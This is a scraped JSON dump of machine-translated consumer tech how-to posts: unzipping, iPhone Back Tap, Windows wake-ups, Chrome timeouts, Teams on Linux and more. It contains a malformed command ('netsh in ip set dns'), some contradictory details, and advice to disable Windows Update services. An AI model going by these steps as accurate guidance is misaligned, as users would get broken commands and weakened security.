long-press the ZIP folder, then tap Download in the resulting menu. If the ZIP folder is in Gmail, tap the \"Download\"  icon next to the folder's name in the email.   Download the WinZip app. You can download the free WinZip app in order to find and extract your ZIP folder: Open the  Google Play Store. Tap the search bar. Type in winzip. Tap WinZip - Zip UnZip Tool in the drop-down results. Tap INSTALL.   Open WinZip. Tap OPEN on the WinZip page, or tap the WinZip app icon in your Android's App Drawer.\n  Tap ALLOW when prompted. Doing so lets WinZip access your Android's files.\n  Scroll right and tap START. You'll have to scroll through four screens to get to the START button.\n  Select your default storage. Depending on the ZIP folder's location, you'll either tap Internal to select your Android's internal storage or tap SD card (or similar) to access your Android's SD card if available.\n  Open the ZIP folder's location. Go to the folder in which you've saved the ZIP folder. You may have to scroll down to find the correct folder.   Select the ZIP folder. Find the ZIP folder in the current location, then tap once the checkbox to the right of its name to select it.\n  Tap the \"Unzip\" icon. It's a box with a zipper on it at the top of the screen, just left of the empty checkbox. A pop-up menu will appear.\n  Select a folder in which to store the unzipped folder. Tap Storage, tap your preferred storage option (e.g., Internal), and tap a folder in which you want to extract the ZIP folder.\n  Tap UNZIP HERE. It's at the bottom of the screen. Doing so extracts the ZIP folder's files into your selected folder from which point you should be able to open them.\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYyzoKlllp65pg%3D%3D\n","link":"/post/how-to-open-a-zip-file/","section":"post","tags":null,"title":"How to Open a Zip File"},{"body":"In the following article, TipsMake will guide you how to activate and use the Back Tap feature to quickly turn on the dark background interface (dark mode) on iPhone iPhone.\nActivate dark mode by tapping on the back of your iPhone The scope of using the Back Tap feature on iPhone is mainly limited to the automatic operations of the Shortcuts app. However, if you want to keep things simple, assign a double or triple tap to the back of your phone to quickly activate frequently used utilities like Control Center, take screenshots, or enable some common features. variables like AssistiveTouch, VoiceOver, Zoom, etc.\nIn this case, to switch between dark and light background interface on iPhone with Back Tap to quickly turn on dark mode on iPhone iPhone, you will need to use Shortcut application. When activated, the shortcut automatically switches between 'light appearance' or 'dark display', depending on which mode is currently set. This is the equivalent of tapping the 'Dark Mode' button in the Control Center or changing the look and feel of the system in the Settings app.\nTo get started, launch the Shortcuts app . If you have trouble finding this app on your home screen, swipe down from the center of the screen and enter the keyword ' Shortcuts ', then tap the corresponding app icon in the returned search results.\n  On the application interface that opens, tap the ' My Shortcuts ' tab at the bottom of the screen, then select ' All Shortcuts ' in the list above.\n  On the ' All Shortcuts ' page, tap the plus sign (' + ') in the upper right corner. This will add a new shortcut.\n  On the New Shortcut page, tap the shortcut name at the top of the screen and enter the name you want to give it. Give it a relevant and easy-to-remember name, such as ' Toggle Appearance '.\nNext, click on the ' Add Action ' button.\n  In the ' Actions ' panel that appears, type ' Appearance ' in the search bar, then select ' Set Appearance ' in the list of actions.\n  Next, click ' Turn ' in the ' Turn Appearance ' action and select ' Toggle ' in the pop-up menu. This will make the dark and light modes change respectively each time you activate the shortcut.\n  Press ' X ' in the upper right corner and your shortcut will be saved.\nConfigure Back Tap You have created the shortcut to switch the dark - light background interface, now it's time to assign it to Back Tap\nFirst open the Settings app by tapping the gear icon on the home screen.\n  In Settings, tap Accessibility \u0026gt; Touch .\n  Under ' Touch Settings ', select ' Back Tap '.\n  Under ' Back Tap ', you have the option to launch the shortcut you created ( Toggle Appearance ) with two or three taps on the back of your iPhone. Select the option you want.\n  In the options menu that appears, swipe down to the ' Shortcuts ' section. Click on the shortcut name you created above (Toggle Appearance). When the shortcut is selected, there will be a checkmark next to it.\n  Exit Settings and from now on, you just need to tap the back of your iPhone two or three times (depending on how it's set up) to switch to a dark and light background interface. Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mm5qqm2K6sLDEZpmyZaSWvbG1zaBkqKZdqbWmecGamqRln5t6qrzHqKWe\n","link":"/post/how-to-turn-on-dark-mode-by-tapping-on-the-back-of-iphone/","section":"post","tags":null,"title":"How to turn on dark mode by tapping on the back of iPhone"},{"body":"If you go to Task Manager and see the jusched.exe process in there, and if you can turn it off, that's a blessing. This process is actually a Java update timetable, which actually consumes a lot of memory just to check once a month for Java updates.\n  And if you want to turn it off to reduce the waste of system resources, first open Control Panel , then double-click the Java icon. If in Windows Vista, click on Additional Options , then click Java . After the Java Control Panel dialog box is opened, select the Update tab, then uncheck the ' Check for Updates Automatically ' box.\n  You will receive a warning message as follows:\n  After you click the Never Check button, you may receive this error message if you are using Windows Vista:\n  If you remove this self-update feature, we will lose updates to fix Java issues. Here we have another alternative to create a monthly running schedule using Task Scheduler . Schedule Java Update Check (Optional) Type Task Scheduler into the Start menu in the Start menu to open Task Scheduler, then select Create Basic Task .\n  The wizard will allow you to select the date and month, then you will see the ' Start a program ' screen, using the link below, if you use a different version of Java, change it.\nC: Program FilesJavajre1.6.0_01binjucheck.exe\n  Now when the task just created above runs once a month, you will get the following dialog if there is a new version.\n  ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKOto5i1prDEsZxmqKKksKa%2F0g%3D%3D\n","link":"/post/learn-about-the-jusched-exe-process/","section":"post","tags":null,"title":"Learn about the jusched.exe process"},{"body":"Fortunately, you don't have to worry too much - fixing this error is really easy. TipsMake will teach you how to fix errors so that your PC won't wake up abnormally to check for updates.\n1. Override the MoUSO Core Worker process The MoUSO Core Worker process (MoUSOCoreWorker.exe) arranges Windows update sessions in the background. That's pretty important, but if the process keeps waking up the PC randomly, you can override it so it won't be annoying.\nFollowing are the steps to override the MoUSO Core Worker process:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type CMD and then press Ctrl + Shift + Enter to open CMD with admin rights.\nStep 3: Type the following command and press Enter:\npowercfg /requestsoverride process MoUSOCoreWorker.exe execution When the process is complete, close Command Prompt and then restart the PC to save these changes.\n2. Turn off the computer wake-up timer The wake timer on your PC could be the reason why you're having this problem. So let's see how you can turn them off to prevent your PC from waking up randomly:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type control.exe powercfg.cpl,,3 and then press Enter to open the Power Options window.\nStep 3: Click the Sleep drop-down menu and then select Allow wake timers.\nStep 4: Next, click the On battery and Plugged option, select Disable from the drop-down menu.\n  When done, click Apply and then OK to save these changes.\n3. Configure some settings in Task Scheduler PCs are more likely to wake up randomly based on the settings you have configured in the Task Scheduler. So let's see how you can tweak some of the Task Scheduler's settings to solve the problem:\nStep 1: Press Win + R to open the Run command dialog box.\nStep 2: Type taskchd.msc and then click OK to open Task Scheduler.\nStep 3: On the left pane, navigate to Task Scheduler Library \u0026gt; Microsoft \u0026gt; Windows \u0026gt; UpdateOrchestrator.\nStep 4: Next, right-click the Schedule Scan task in the middle and select Disable.\n  Finally, close the Task Scheduler window and restart the device.\n4. Turn off Update Orchestrator Service and Windows Update Service To prevent your PC from randomly checking for updates, you can disable the Update Orchestrator Service and Windows Update Service. Here's how you can do this:\nStep 1: Press Win + R to open the Run command dialog box.\nStep 2: Type services.msc and then click OK.\nStep 3: Locate the Update Orchestrator Service, right-click it, then select Properties.\n  In the next window, select Disabled in the Startup type drop-down menu, then click the Stop button.\n  Click Apply and then OK.\nWhen you are done, right click on Windows Update Service then disable it similar to the previous steps. Finally, restart your PC to save these changes.\n5. Restore default power settings via Command Prompt In some cases, this problem can be caused by the way you have configured the power settings. If you're not sure which settings you should edit, resetting the power settings to default can help.\nHere's how you can restore your PC's power settings via Command Prompt:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type CMD and then press Ctrl + Shift + Enter to open Command Prompt with admin rights.\nStep 3: Type the following command and press Enter:\npowercfg -restoredefaultschemes When the process is complete, close Command Prompt and restart the device.\n6. Run Windows Update Troubleshooter and Power Troubleshooter Since this is a 'system update' and 'source' issue, the Windows Update troubleshooter and Power troubleshooter can be helpful.\nFirst, let's see how you can run the Windows Update troubleshooter:\nStep 1: Navigate to Start menu \u0026gt; PC Settings \u0026gt; Update \u0026amp; Security, then click Troubleshoot in the left pane.\nStep 2: Scroll down on the right pane, click the Windows Update option, then click the Run the troubleshooter button. Follow the on-screen instructions to complete the process.\n  Next, here's how you can use the Power troubleshooter to solve the problem:\nStep 1: Find the Power troubleshooter, click it, then click Run the troubleshooter.\nStep 2: Follow the on-screen instructions to complete the process and then restart your PC when it's done.\n7. Pause Windows Updates Pausing Windows updates can also help with this problem. Refer to the article: How to turn off Windows Update on Windows 10 for more details.\n8. Activate Metered Connection By default, Windows does not automatically check for updates over a Metered Connection (a type of internet connection with limited data). In this case, you will have to manually check for updates if you want to upgrade your PC.\n9. Edit Windows Registry You can easily solve this problem by editing a few keys in the Windows Registry. But since you'll be dealing with sensitive information, it's best to start by backing up the Registry. That way, you'll be safe if anything goes wrong.\nNow, here's how you can solve the problem through Registry Editor:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type Regedit and then click OK to open Registry Editor.\nStep 3: Navigate to:\nHKEY_LOCAL_MACHINE \u0026gt; SOFTWARE \u0026gt; Policies \u0026gt; Microsoft \u0026gt; Windows \u0026gt; WindowsUpdate \u0026gt; AU Step 4: Double-click the NoAutoRebootWithLoggedOnUsers value on the right side to edit it.\n  In the next window, set Value data to 1 and then click OK.\n  If there is no NoAutoRebootWithLoggedOnUsers value, here's how you can create it:\nStep 1: Navigate to the AU key/folder following the previous steps and then right click in the empty space on the right hand side.\nStep 2: Select New \u0026gt; DWORD (32-bit) Value and then name the new value NoAutoRebootWithLoggedOnUsers.\nStep 3: Double-click the value, set Value data to 1, then click OK.\nStep 4: When you're done, close Registry Editor and restart your PC.\nHere are some ways to help prevent your PC from suddenly waking up and asking for an update. Hope they help you!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5edaipZ2np6h6pLvMqaytnaJiwamt02apmqaUpLqtxYywmKSdo2LCsXnTqGScoJWYuG6yzqtkrqiUlsGmvw%3D%3D\n","link":"/post/steps-to-fix-windows-computer-that-randomly-wakes-up-to-check-for-updates/","section":"post","tags":null,"title":"Steps to fix Windows computer that randomly wakes up to check for updates"},{"body":"Following Asus, HP, Lenovo, Dell, Japan's leading laptop maker will start competing for netbook market share in November with the release of a 8.9-inch screen product.\n    Toshiba has not announced the detailed configuration, but basically, NB105 uses 1.6 GHz Intel Atom chip, 1 GB RAM, runs Windows XP Home, 120 GB hard drive, Ethernet connection, Wi-Fi, 3 USB ports, SD card slot. Price not announced.\n    ncG1vNJzZmismaXArq3KnmWcp51kwamxjKaYq6OVqXqnu9FmpKKmmWK5orzTqKesZZiWwG7AzqyfopqRYrujfY9u\n","link":"/post/the-market-for-mini-laptops-has-toshiba-nb105/","section":"post","tags":null,"title":"The market for mini laptops has Toshiba NB105"},{"body":"The two versions of the L450 and L550 have large screens, configurable options with the goal of small and medium enterprises.\nThe 15.6-inch version of the Satellite Pro L450, comes preinstalled with Windows XP Professional 32-bit SP3 and an update package to Windows 7, while the 17.3-inch version L550 comes with Windows 7. Both versions are available. equipped with Intel Core 2 Duo chip, integrated GMA 4500MHD video card, DDR2 to 4 GB RAM, hard drive up to 320 GB, DVD burner, webcam and 802.11 / a / g / n network.\n  Toshiba Satellite L450 . (Photo: Laptoping)\nDepending on the selected configuration, the two versions will cost between $ 629 and $ 999. Toshiba also said that, besides the two models, the company will soon launch more models Satellite Pro U500 Touch with touch screen.\n  Toshiba Satellite L555\nncG1vNJzZmismaXArq3KnmWcp51kwbC%2Fx6KZmmWRmbG0ecyamqGhnprAbrLOq2SlZaOav6qx0g%3D%3D\n","link":"/post/toshiba-adds-machines-for-l-series/","section":"post","tags":null,"title":"Toshiba adds machines for L series"},{"body":"According to statistics, Internet Explorer is the most popular and largest browser on the Internet. Of course, all of us here find that statistics are not always true or even funny.\nBut the fact that IE still accounts for about 60-70% of the browser market and must confirm that it is still very strong. While most knowledgeable people have switched to Firefox, there are still millions of Windows users who are still using IE, not because they prefer to use it simply as it comes with its operating system - Windows. I agree that IE8 has some nice features and is outstanding compared to IE7 or 6, but for many people who have switched to Firefox, IE takes up a lot of space on the computer and is not practical. Windows 7, like previous versions of Windows, is included with Internet Explorer, but Microsoft faces a number of legal threats to the installation of IE attached to Windows, eventually having to provide an option. choose in Windows 7 to uninstall IE. Only that option is deeply hidden and in today's article, we will learn how to remove Internet Explorer from Windows 7 on your computer. First, open Control Panel and go to Add-Remove programs utility. In Windows 7, this utility is available under Programs and has a simple name: Uninstall a Program .\n  On the right side of this window, you will see a list of all the programs installed on your computer, but Internet Explorer 8 is not on this list. To see it, look in the right pane and you will see a link called \" Turn windows features on or off \". Clicking on this link will open a window with a list of all Windows features that you can turn off (or turn on).\n  Internet Explorer is on this list as a feature of Windows and it is turned on by default\n  To delete Internet Explorer you must uncheck the Internet Explorer 8 option.\nIn fact, this feature only turns off Interet Explorer, which means it still exists, but you won't see it in the program menu and won't be able to run it using the command line. All links that require opening Internet Explorer will fail with a message saying that the requested application is not found.\nIf you want to reopen IE, you simply turn it back on.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B1zayrmqScYravwMSrpZ6sXZrFsbjOq5yrZWhitq951qKlnaenqHp4\n","link":"/post/uninstall-internet-explorer-8-in-windows-7/","section":"post","tags":null,"title":"Uninstall Internet Explorer 8 in Windows 7"},{"body":"A .FLAC file(Free Lossless Audio Codec) is simply an audio file format (Audio codec) used to hold compressed music data and music-related content.FLACis a lossless compression file format, unlikeMP3, WMA, OGG, MPC, ATRAC,ACCorVorbisformats, etc. Audio data when compressed in FLAC format can be reduced. about 30% of the original size\nFree Lossless Audio Codec FLAC audiocompressionis calledlosslessmusic, meaning that the sound quality will not be lost during file compression.\nAlso the FLAC Fingerprint file is a plain text file, often called ffp.txt, which is used to store file names and test information related to a specific FLAC file.Sometimes they are created with the FLAC file.\n  How to open a FLAC file The best and most popular FLAC player is probably VLC because it not only supports FLAC but also supports many other popular audio and video formats that you may encounter in theprocess of use.\nHowever, it must be added that nearly all popular media players can now play FLAC format.For example, Windows Media Player can open FLAC files with Xiph's OpenCodec plugin.The free Fluke tool can be used on a Mac to play FLAC files in iTunes.Microsoft Groove Music, GoldWave, VUPlayer, aTunes and jetAudio are also some popular multimedia players that can play FLAC format.\nTheFree Lossless Audio Codec community has its own website for storing and sharing this music format, as well as a list of software programs and hardware devices that support FLAC format well.\nHow to convert a FLAC file If you only need to convert one or two FLAC files, the fastest way is to use the free online file format converters so that there is no time to download and install the software.Zamzar.com, Online-Convert.com and media.io are some examples of FLAC conversion tools to WAV, AC3, M4R, OGG and other similar online formats.\nIf your FLAC file is large and takes too much time to upload, or you want to batch convert FLAC files at once, use the dedicated offline audio format converter.Free Studio and Switch Sound File Converter are two tools that support converting FLAC formats to audio formats like MP3, AAC, WMA, M4A and other popular audio formats.To convert FLAC to ALAC (ALAC Encoded Audio or the so-called m4a, similar to FLAC butcreated by Apple for their own devices), you can use MediaHuman Audio Converter.\nIf you need to open FLAC files in plain text, consider using a software in the list of the5 best free codeeditors.\nThe information you should know more about FLAC format FLAC is said to be the first \"truly open and free lossless audio format\".The free concept here is not just for use but even the whole specification of this audio format is also available for everyone to freely compose.The methods of encoding and decoding FLAC files do not violate any patents and the source code is provided free of charge as an open source license.\nFLAC is not protected byDRM encryption information (Digital Rights Management).However, because the format does not include any copy protection tool, it is possible to encode your own FLAC files into any other audio format.\nFLAC format not only supports audio data but also includes art, search and fast tagging.Because FLAC files are searchable, they have an advantage over some other formats in application editing.\nAlthough FLAC is facing competition of many new formats, it will be a long time before its position can be shaken.Its greatest strength is its small capacity that allows easy storage or transmission over the internet.\nUsers will only have to pay for the FLAC album once to be heard permanently, while the popular music streaming services like Spotify and Tidal require a monthly fee and if you stop translating If so, the music library that you have chosen to follow is also 'gone'.\nHow can I still open a FLAC file? If you still cannot openFLACfileseven though you have used the above methods, it is possible that your file is not really inFLACformat.Some file types with a look-alike extension look very similar to theFLACfile extension, so you should also check the file extension to see if it is standard.\nA common example is the file format Adobe Animate animation often has an extension of the .FLA.These files can only be opened with Adobe Animate, whereas Adobe Animate cannot open the FLAC audio file.The same is the case of FLIC files (FLIC Animation), FLASH (Frictional Games Flashback) and FLAME (Fractal Flames).\nSee more:\nWhat file is 3GP? How to open, edit and convert 3GP files What is WMV file? How to open, edit and convert WMV files What file is XSPF? How to open, edit and convert XSPF files List of some types of files that are potentially dangerous on Windows ncG1vNJzZmismaXArq3KnmWcp51kxKmt02adoqSVYra0ecWlmJxlmKTEbsDOZqapnZ5isqW102aYp5xdmLyvwsSrq2aenJawbrLIpZys\n","link":"/post/what-file-is-flac-how-to-open-edit-and-convert-flac-files/","section":"post","tags":null,"title":"What file is FLAC? How to open, edit and convert FLAC files"},{"body":"Zepeto is a new name that appears in the current social networking village, along with Facebook, Instagram, Twitter, . Zepeto brings a very interesting virtual living space where users can chat, group photos, even dating or walking with anyone, through 3D characters on this social network.\nThe app provides 3D character design from the face of the player, along with the facial expression set so that we can change emotions, enrich our characters. The following article will guide you how to use Zepeto.\nHow to create personal Memoji icons on iOS 12 Create an Emoji emoji with 'made by me' style How to take an emoji style \"selfie\" with Memoji Manual Zepeto create 3D images Step 1:\nClick on the link below to install Zepeto application on Android and iOS.\nDownload the Zepeto Android application Download the Zepeto iOS app Step 2:\nIn the new interface, click on the Create a ZEPETO button. Next, the user will be asked to create an account, click Start with email to register. When registering an account we will receive 1000 coins to buy beauty products for the character.\n   Step 3:\nEnter your email address to register your account and click on the blue check mark to complete.\n   Users will then be able to choose the gender for the 3D character , then take your face to make the character model. 3D character images from your own face show up immediately afterwards. If you don't like it, you can press the x to do it again. If satisfied press the blue arrow button to go to the face correction step.\n    Step 4:\nIn the editing interface for 3D characters, users can change their hair style, skin color or other parts on the face. You can add other accessories such as eyeglasses, depending on your bow tie.\nIf you want to go back to the previous steps, press the 2 arrows to rotate next to the 3D image. When finished, click the Next button at the right corner to continue.\n   Step 5:\nUsers will be taken to the personal room with the 3D character that I just created.Name your 3D character and press the blue tick above. Next in the new interface we will have more character changes with options along the right side of the screen , including Edit face (face modification), Fashion (shopping accessories), Interior (buy local loss), Gesture (motion effect).\n   We will have a penny of 2000 to buy things. Each item will have a penny to buy. Select the map and click on Purchase to buy. At that time the player will see the total amount to pay , click Next Purchase to buy. If you want to cancel the accessory, just leave the green tick.\n   Step 6:\nContinue to click the plus sign icon below the screen and display different options. With Photobook users can create interesting and funny photos with their friends.\n   Capture to use your image (Image) or video (Video) 3D character. Greeting is used to enter messages for people visiting your personal page. Below will be the different poses and emotions of the character to choose from. Press the green tick to save.\n   Step 7:\nClick on the humanoid icon in the bottom right corner to enter the Profile interface . In this interface when clicking on the green circle icon will display the option to rename and write more information about you. Also with each Zepeto account will have a personal code to search each other through this code.\n    Step 8:\nThe Emoji part will have different expressions, or you can click Create a Emoji to create. We can create or share certain emoticons.\n   Step 9:\nThe messaging icon will be where we chat with anyone, with people who have made friends or searched for someone.\n   Step 10:\nWith the Pacman icon you will have the opportunity to receive more coins when performing daily quests at the Daily Quest. Besides there are also Flappy Bird games when clicking on Flying ZEPETO in the style of the application. Magnifying glass icon to search for other players through 3D characters created on Zepeto.\n   Zepeto brings a social network with incredibly new and unique 3D characters. Users can freely create their own characters, search for friends on social networks Zepeto to chat, . Let's try and experience Zepeto.\nSee more:\nHow to combine photos into the League of Legends game rating frame How to mass edit photos on iPhone? If you want to try lipstick from famous brands, try this app right away I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYxsm2abmJa%2Foq%2FTnqmsZaeewal52Z6nnqyf\n","link":"/post/how-to-create-3d-characters-with-zepeto/","section":"post","tags":null,"title":"How to create 3D characters with ZEPETO"},{"body":"Your Android phone speaker is broken, inaudible or unknown sound, distorted? The reason may be that the net covers the speaker in direct contact with the outside environment, so it often accumulates dirt or software problems. The following article will provide some ways to fix the inactive Android speakers, you can try it before bringing it to the repair shop.\nThese Android speaker remedies do not work 1. Check the software problem 2. Turn off the headset output manually 3. Start the phone in safe mode 4. Clean the speaker net 5. Perform a hard reset 6. The speaker gets water, dry it 7. Get professional help 1. Check the software problem To check if this is a software error, you just need to restart the phone. This action will restart all background services.\nWhy does restarting the phone help the device run faster and fix some common errors? Next, you need to check the audio input of the phone with the built-in speaker setup. If you regularly connect your phone to a speaker or wireless headset, it may still be in a state connected to another device.\nGo to Settings\u0026gt; Connected devices to see if your phone is connected to any Bluetooth audio input. Then, go to the Sound section of Settings and confirm if you accidentally turn on Silent or Do Not Disturb mode on Android.\nIn addition, you can check the speaker by lowering the volume to the lowest level and then increasing the volume to the maximum level while playing music.\nYou can also try audio booster application to check speaker problems. These applications will assume a negative increase in output to check if the lowest volume is problematic.\nUsers can also play ringtones or alarms from the phone sound settings by going to Settings\u0026gt; Sound\u0026gt; Phone Ringtone and selecting available options. You need to turn on the call volume when performing this operation.\n2. Turn off the headset output manually When removing accessories from the audio jack, Android may not be able to handle this process and your phone is still in a headset connection state. Therefore, the phone speaker is turned off even though you have disconnected the headset.\nNormally, you can resolve this error by restarting the phone, but if it is not, you can try a free application called Disable Headphone. With a simple toggle button, the Disable Headphone allows users to turn off the manual connection to the headset mode and play sound through the speaker.\nIn addition, you can use Disable Headphone in case the phone cannot transmit audio through the connected accessory. You can turn on headset mode manually using the application.\nDownload Disable Headphone for Android 3. Start the phone in safe mode Android allows you to launch into Safe mode to run only the original software of your device. With this mode, you can troubleshoot the phone without any third party services or applications interfering. Most Android phones today have this mode.\nTo access safe mode, press and hold the power button. In the message that appears, tap and hold Power Off and press Ok when prompted. Your phone will reboot in safe mode. You can easily exit this mode by repeating the above procedure, selecting the Restart option.\nThe steps to access Safe mode on Android phones will vary depending on the device. You can perform a search on Google with a specific device.\n4. Clean the speaker net As mentioned above, telephone speaker grilles often accumulate dirt over time, hindering the ability to play sound. You should clean this speaker grille to remove obstructions.\nYou can remove dirt by blowing air into the speaker or using compressed air. In addition, you can suck dirt with a low-power vacuum cleaner. However, this can affect internal components, so you should be careful when doing so.\nThe best way is to gently scrub the speaker net with an old brush or use a cotton swab. If you are confident you can disassemble the phone and clean the inside.\nExperience cleaning mobile phones 5. Perform a hard reset When performing phone booting in Safe mode as above and potentially third-party application is the cause of the problem. You can try specific applications, settings or devices to find the cause.\nIf this is not possible, you can perform Hard reset to return the device to its original state by going to Settings\u0026gt; System\u0026gt; Advanced\u0026gt; Reset options . You can use the search bar at the top of the Settings app if you don't see it.\n6. The speaker gets water, dry it One of the common consequences when the phone falls into the water is that the speaker is broken. Liquid can quickly move to internal components. If such a problem occurs, dry it.\nThere are several methods to dry the phone. You can blow hot air, put it in a bowl of rice, put it in a bag with moisture-proof packs, etc.\nAlternatively, you can try using apps like Speaker Cleaner. It will make a vibrating sound to open the speaker and let the water escape.\nDownload Speaker Cleaner for Android See also: How to save the phone or tablet from falling into the water\n7. Get professional help If none of these methods fix your problem, you probably have a hardware error. Take it to the store for the professional mechanics to help you.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqiusOrpqKcXai9pq3KnqmsZZSksrR5zairZq%2Bfp7g%3D\n","link":"/post/how-to-fix-android-speakers-does-not-work/","section":"post","tags":null,"title":"How to fix Android speakers does not work"},{"body":"Connection timed out error is a fairly common error for users while using\u0026nbsp; the computer . This error prevents you from accessing the website, interrupting your studies or work. Follow the instructions below to be able to fix the Connection Timed out error.\nConnection timed out means the connection has exceeded the specified time. After about 1 minute of connecting and the web page you are on has not appeared data, the web browser will notify you that the connection has failed instead of letting you wait.\nFirst, click the curved arrow icon or press F5 to reload the page and wait to see if this error is fixed. If not, continue to refer to the ways below.\n  Check your Wi-Fi connection or wired network to see if the connection is stable. After determining that the Internet is stable, try again.\n  It is possible that\u0026nbsp; Google Chrome \u0026nbsp;has stored information about the reason why the page cannot be loaded, please try clearing the cache following the instructions below.\nStep 1: Click the three-dot icon in the top right corner\u0026gt; More Tools\u0026gt; Clear browsing data.\n  Step 2: Select Ever\u0026gt; Select 3 items below\u0026gt; Click Clear data. Then try again the tab with the error.\n  Your device may be out of memory and unable to load web pages while running applications, utilities, and programs simultaneously. Free up memory.\nStep 1: Close all tabs except the one with the error.\nStep 2: Turn off running applications or programs, stop downloading data.\nStep 3: Click the three-dot icon in the top right corner\u0026gt; More Tools\u0026gt; Extensions.\n  Step 4: Delete gadgets that you don't use. Then try again the tab with the error.\n ​\nPrograms or apps sometimes prevent a page from loading. Try restarting your computer and then reloading the error page.\n  Step 1: Click the three dots icon in the top right corner\u0026gt; Select Settings.\n  Step 2: Select About Chrome and wait a few seconds for Chrome to update to the new version. If nothing is happening, your Chrome is probably up to date.\n  Step 3: After the update is finished, click Run again. Then try reloading the error page.\n  Step 1: Enter cmd in the search box\u0026gt; Select Run as Administrator.\n  Step 2: Enter the command ipconfig / release\u0026gt; Press Enter.\n  Step 3: Continue to enter the command ipconfig / flushdns\u0026gt; Press Enter.\n  Step 4: Continue to enter the command ipconfig / renew\u0026gt; Press Enter.\n  Step 5: Continue to enter the command netsh in ip set dns\u0026gt; Press Enter.\n  Step 6: Continue to enter the command netsh winsock reset\u0026gt; Press Enter.\n  Step 7: Turn off the Command Prompt window and reboot. Then try reloading the error page.\nThe above article has instructions on how to fix Connection timed out error on Chrome and Command Prompt. Wishing you a success, thank you for watching.\ngoogle chrome ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pr7RmJqopp6asLW1zqeWraGdmrGgu9StZKiqXZq%2Fs6vToqSenI%2BkwrU%3D\n","link":"/post/how-to-fix-the-error-err-connection-timed-out-or-err-timed-out/","section":"post","tags":null,"title":"How to fix the error ERR_CONNECTION_TIMED_OUT or ERR_TIMED_OUT"},{"body":"If your job requires using a Linux distribution like Ubuntu, Debian or Red Hat, you no longer need to use a Windows 10 device to connect with colleagues at work, because Microsoft Teams now has available on Linux.\nMicrosoft Teams is now available on Linux Available as a public preview, anyone can download and install Microsoft Teams to access all features available with apps on Windows 10, including chat, video meetings, calls power and collaborate on Office 365 documents, as well as business processes in a single interface.\nIn this tutorial, TipsMake.com will help readers learn the steps to install Microsoft Teams on Linux.\nHow to install Microsoft Teams on Ubuntu To begin testing the Microsoft Teams application on Ubuntu or another Linux distribution, follow these steps:\n1. Open the Microsoft Teams website.\nhttps://products.office.com/en-us/microsoft-teams/download-app#allDevicesSection  2. In the Desktop section, click the Linux DEB download button . (If you have a distribution like Red Hat that requires a different installer, then use the Linux RPM download button.)\n In the Desktop section, click the Linux DEB download button 3. Double-click the * .deb file to launch the installer.\n Double-click the * .deb file to launch the installer 4. Click the Install button .\n Click the Install button When you complete the steps, Microsoft Teams will install and be available from the application menu.\nAbove are the steps to perform installing Microsoft Teams on Linux. Earlier, TipsMake.com introduced how to install Microsoft Teams on Windows 10, readers can refer to if necessary.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKKboqTAsLLTZquemZ2oerC6jKWgp62o\n","link":"/post/how-to-install-microsoft-teams-on-linux/","section":"post","tags":null,"title":"How to install Microsoft Teams on Linux"},{"body":"The translation applications on Android and iOS now support many ways to enter the translation content, but on Windows 10 is still limited. All Language Translator Free is one of the few translation applications that supports a variety of ways to enter content for Windows 10, including text translation, voice translation, image translation and translation via upload files.\nThe number of languages ​​that the All Language Translator Free application supports is relatively high, more than 103 languages ​​if you enter text directly and 37 languages ​​through image translation. With voice translation mode, the app translates directly into conversation format, like a very interesting conversation. The following article will show you how to use the All Language Translator Free application on Windows 10.\nHow to translate web pages into Vietnamese, English or any language How to translate Vietnamese via images on Google Translate VIKI usage Translator translated English Vietnamese online How to translate images, translate words on photos for Android Instructions for translating on All Language Translator Free Step 1:\nWe install the All Language Translator Free Windows 10 application under the link below.\nDownload All Language Translator Free Windows 10   Step 2:\nDisplay application interface after successful installation. The application is divided into various management items, including Translation, Dialogue Mode, Task, Glossary.\n  Step 3:\nClick on Translation and then select the source language and target language in the language bar above.\n  Next, there are different options to provide translation source, translate via text file with txt file, translate via JPG / PNG image with image icon and translate via voice with microphone icon. You choose how to translate according to your needs. If translated via text, just enter directly.\n  Translation results are displayed in the right pane. You can quickly copy or listen to the results. All Language Translator Free can only translate up to 10 thousand words per translation.\n  If you translate via voice , you need to agree to the application to use the microphone on the device.\n  Step 4:\nDialogue Mode is a voice translation mode, turned into a conversation via chat box, file attachment icon and microphone.\nAt the interface of the feature, users also select the target language and the source to translate, then select the translation method below. Pin clip icon to translate images, files and microphones for recording. If entered directly, enter the white bar below.\n  Display source content, press Enter to proceed with the translation. As a result, you will see the original content and target after translation as shown below. Every translation result has a star icon to save when needed.\n  Step 5:\nClick on Task to translate files via text and automatically download to your computer. At the interface click the Add Task button to upload the txt file.\n  Select the target language and source and then download the file txt to the application and click the Finish button to translate.\n  Translation results are automatically converted to txt files and saved to the Pictures folder of the computer. To view the translation results directly on the application, click on the eye icon .\n  The translation file is also displayed as a txt file.\n  Step 6:\nClick on Glossary to see the translations in Dialogue Mode marked with gold stars. To create a separate folder to categorize the translation, click the plus icon .\n  Create a new folder and name it, then just open All and then drag the text you want to save to the new folder .\n  To delete the folder , right-click and select Delete group . If you click Clear group, the folders will be deleted from the interface.\n  Step 7:\nTo change the settings for the application, click the Settings icon . At this interface, users can change the source language, default target language and default font size used on the application.\n  All Language Translator Free application is divided into categories with different translation features, giving users more options when translating documents, or translating voice. The application allows 7-day free mail, before you have to pay for it.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0uMCtnGaomKTBsL%2BMmqWdZaaktqSx0mamp2Wnnrulu9asZGpo\n","link":"/post/how-to-translate-photos-and-voices-on-windows-10/","section":"post","tags":null,"title":"How to translate photos and voices on Windows 10"},{"body":"Method 1. Use the 